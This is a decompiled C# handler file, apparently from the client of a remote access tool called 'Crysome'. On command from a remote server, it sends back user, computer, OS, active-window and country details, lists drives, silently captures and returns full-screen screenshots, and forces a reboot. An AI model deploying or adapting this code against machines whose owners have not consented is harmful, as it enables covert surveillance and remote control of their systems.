Files
2026-08-27 11:22:54 -06:00

81 lines
3.4 KiB
C#

using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using Crysome.Client.Configuration;
using Crysome.Client.Inventory;
using Crysome.Client.SystemInfo;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class SystemHandlers
{
public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet)
{
//IL_002f: Unknown result type (might be due to invalid IL or missing references)
//IL_0039: Expected O, but got Unknown
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem));
}
public static void HandleClientInfo(CrysomeClient client, IPacket packet)
{
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Expected O, but got Unknown
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU));
InventoryReportBuilder.OnClientInfoPoll(client);
}
public static void HandleGetDrives(CrysomeClient client, IPacket packet)
{
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
//IL_0050: Expected O, but got Unknown
long num = 0L;
GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null);
if (val != null)
{
num = val.RequestId;
}
string[] array = (from d in DriveInfo.GetDrives()
select d.Name).ToArray();
client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num));
}
public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet)
{
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
//IL_00af: Expected O, but got Unknown
byte[] array = null;
try
{
Rectangle bounds = Screen.PrimaryScreen.Bounds;
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy);
}
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
array = memoryStream.ToArray();
}
catch (Exception)
{
array = new byte[0];
}
client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0]));
}
public static void HandleRestart(CrysomeClient client, IPacket packet)
{
Process.Start("shutdown.exe", "-r -t 00");
}
}